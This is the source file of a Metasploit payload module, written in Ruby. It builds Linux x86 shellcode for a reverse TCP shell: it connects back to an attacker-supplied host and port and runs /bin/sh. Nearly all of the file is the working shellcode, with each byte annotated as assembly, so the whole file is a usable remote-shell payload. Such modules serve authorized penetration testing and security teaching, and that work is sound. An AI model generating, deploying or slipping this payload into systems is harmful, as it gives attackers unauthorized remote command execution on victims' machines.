metasploit-framework/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb

80 lines
2.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 68
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => ['Ramon de C Valle', 'joev'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix
))
register_options([
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ])
])
end
def generate(_opts = {})
# pad the shell path to a multiple of 4 with slashes
shell = datastore['CMD']
remainder = shell.bytes.length % 4
if remainder == 0 then remainder = 4 end
shell_padded = ("/" * (4-remainder)) + shell
"\x31\xdb" + # xor ebx,ebx
"\xf7\xe3" + # mul ebx
"\x53" + # push ebx
"\x43" + # inc ebx
"\x53" + # push ebx
"\x6a\x02" + # push byte +0x2
"\x89\xe1" + # mov ecx,esp
"\xb0\x66" + # mov al,0x66 (sys_socketcall)
"\xcd\x80" + # int 0x80
"\x93" + # xchg eax,ebx
"\x59" + # pop ecx
"\xb0\x3f" + # mov al,0x3f (sys_dup2)
"\xcd\x80" + # int 0x80
"\x49" + # dec ecx
"\x79\xf9" + # jns 0x11
"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push ip addr
"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + # push port
"\x89\xe1" + # mov ecx,esp
"\xb0\x66" + # mov al,0x66 (sys_socketcall)
"\x50" + # push eax
"\x51" + # push ecx
"\x53" + # push ebx
"\xb3\x03" + # mov bl,0x3
"\x89\xe1" + # mov ecx,esp
"\xcd\x80" + # int 0x80
"\x52" + # push edx
# Split shellname into 4-byte words and push them one-by-one
# on to the stack
shell_padded.bytes.reverse.each_slice(4).map do |word|
"\x68" + word.reverse.pack('C*')
end.join +
"\x89\xe3" + # mov ebx,esp
"\x52" + # push edx
"\x53" + # push ebx
"\x89\xe1" + # mov ecx,esp
"\xb0\x0b" + # mov al,0xb (execve)
"\xcd\x80" # int 0x80
end
end